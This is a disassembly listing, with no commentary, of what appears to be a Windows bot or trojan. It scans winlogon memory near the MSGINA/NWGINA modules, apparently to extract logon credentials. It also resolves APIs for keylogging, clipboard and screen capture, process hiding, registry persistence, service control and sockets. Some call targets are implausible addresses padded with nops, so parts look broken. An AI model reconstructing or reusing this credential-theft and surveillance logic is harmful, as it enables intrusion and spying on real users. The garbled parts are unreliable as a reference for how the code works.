		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43AA44
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2710366h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43AA44
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6


loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43AA38
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43AC48
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E


loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43AA40


loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]


loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292


loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi


loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2710366h
		mov	eax, edi


loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324


loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43AA40


loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------


loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 27304F3h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------


loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 2730000h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------


loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2720B0Bh
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518


loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_439A38
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43A238
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6


loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 26C053Eh
		nop
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43AC5C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43AC54, eax
		mov	dword_43AC58, edi


loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2710366h
		mov	esi, [ebp+var_10]


loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		call	near ptr 26508BEh
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 27304F3h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 2730000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC


loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2720B0Bh
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2720DA2h
		test	eax, eax
		jz	short loc_409602
		push	offset dword_439A38
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43A238
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632


loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 2710366h
		nop
		jmp	short loc_409616
; ---------------------------------------------------------------------------


loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584


loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		call	near ptr 26508BEh
		nop


loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax


loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43AC54, ebx
		mov	dword_43AC58, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C


loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654


loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26508BEh
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43AC50
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 2720000h
		nop
		mov	ecx, dword_43AC50
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43AC58
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43AC5C
		push	eax
		call	dword_43AA3C
		push	[ebp+var_4]
		mov	edi, offset dword_43AA48
		push	offset dword_439A38
		push	offset dword_43A238
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 2710366h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43AC50
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2720A72h
		push	eax
		nop
		call	near ptr 2720000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43A238
		mov	edi, 200h
		mov	esi, offset dword_439838


loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43AC50
		add	eax, eax
		push	eax
		push	dword_43AC58
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43AA3C
		mov	eax, dword_43AC50
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1


loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0


loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1


loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0


loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE


loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h


loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2720A72h
		push	eax
		nop
		call	near ptr 2710366h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43AE44, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43ADB8, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43AD9C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43ACB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43AC64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43AC94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43AD08, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43ADF8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43AE54, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43ACC4, eax
		call	esi
		cmp	dword_43AE44, ebx
		mov	dword_43ACAC, eax
		jz	short loc_40991D
		cmp	dword_43ADB8, ebx
		jz	short loc_40991D
		cmp	dword_43AD9C, ebx
		jz	short loc_40991D
		cmp	dword_43ACB8, ebx
		jz	short loc_40991D
		cmp	dword_43AC94, ebx
		jz	short loc_40991D
		cmp	dword_43AD08, ebx
		jz	short loc_40991D
		cmp	dword_43ADF8, ebx
		jz	short loc_40991D
		cmp	dword_43AE54, ebx
		jz	short loc_40991D
		cmp	dword_43ACC4, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927


loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43AE58, 1


loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43ADD0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------


loc_40993F:				; CODE XREF: sub_40981F+1Dj
		nop
		call	near ptr 267036Ah
		mov	dword_43AE5C, eax
		mov	dword_43AE58, 1


loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2710000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43ADF4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43ADA4, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43AD38, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43AE48, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43AD68, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43AD88, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43ADEC, eax
		call	esi
		cmp	dword_43ADF4, ebx
		mov	dword_43ACE0, eax
		jz	short loc_409A0D
		cmp	dword_43ADA4, ebx
		jz	short loc_409A0D
		cmp	dword_43AD38, ebx
		jz	short loc_409A0D
		cmp	dword_43AE48, ebx
		jz	short loc_409A0D
		cmp	dword_43AD68, ebx
		jz	short loc_409A0D
		cmp	dword_43AD88, ebx
		jz	short loc_409A0D
		cmp	dword_43ADEC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17


loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43AE60, 1


loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43AD64, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43AC78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43AD34, eax
		call	esi
		cmp	dword_43AD64, ebx
		mov	dword_43AD20, eax
		jz	short loc_409A74
		cmp	dword_43AC78, ebx
		jz	short loc_409A74
		cmp	dword_43AD34, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------


loc_409A69:				; CODE XREF: sub_40981F+144j
		nop
		call	near ptr 267036Ah
		mov	dword_43AE64, eax


loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43AE60, 1


loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43AE08, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43AD4C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43ADBC, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43ACA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43AD04, eax
		call	esi
		cmp	dword_43AE08, ebx
		mov	dword_43AD74, eax
		jz	short loc_409B09
		cmp	dword_43AD4C, ebx
		jz	short loc_409B09
		cmp	dword_43ADBC, ebx
		jz	short loc_409B09
		cmp	dword_43ACA4, ebx
		jz	short loc_409B09
		cmp	dword_43AD04, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13


loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43AE68, 1


loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43AD7C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43AD54, eax
		call	esi
		cmp	dword_43AD7C, ebx
		mov	dword_43AE04, eax
		jz	short loc_409B4E
		cmp	dword_43AD54, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58


loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43AE68, 1


loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43AD8C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43AC80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43AC88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43ACE8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43ACEC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43AC9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43AD58, eax
		call	esi
		cmp	dword_43AD8C, ebx
		mov	dword_43AC8C, eax
		jz	short loc_409BFC
		cmp	dword_43AC80, ebx
		jz	short loc_409BFC
		cmp	dword_43AC88, ebx
		jz	short loc_409BFC
		cmp	dword_43ACE8, ebx
		jz	short loc_409BFC
		cmp	dword_43ACEC, ebx
		jz	short loc_409BFC
		cmp	dword_43AC9C, ebx
		jz	short loc_409BFC
		cmp	dword_43AD58, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06


loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43AE68, 1


loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43AC84, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------


loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 267036Ah
		mov	dword_43AE6C, eax


loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43AE68, 1


loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43AD84, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43ADDC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43ADE4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43ADA0, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43ACC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43AC74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43ADE0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43AC60, eax
		call	esi
		cmp	dword_43AD84, ebx
		mov	dword_43ACFC, eax
		jz	short loc_409D05
		cmp	dword_43ADDC, ebx
		jz	short loc_409D05
		cmp	dword_43ADE4, ebx
		jz	short loc_409D05
		cmp	dword_43ADA0, ebx
		jz	short loc_409D05
		cmp	dword_43ACC8, ebx
		jz	short loc_409D05
		cmp	dword_43AC74, ebx
		jz	short loc_409D05
		cmp	dword_43ADE0, ebx
		jz	short loc_409D05
		cmp	dword_43AC60, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------


loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		call	near ptr 267036Ah
		nop
		mov	dword_43AE74, eax


loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43AE70, 1


loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43AD10, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43AE3C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43ACB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43AC90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43AD44, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43AD2C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43ACF8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43AE18, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43AE34, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43AD40, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43AE24, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43ADD8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43AD98, eax
		call	esi
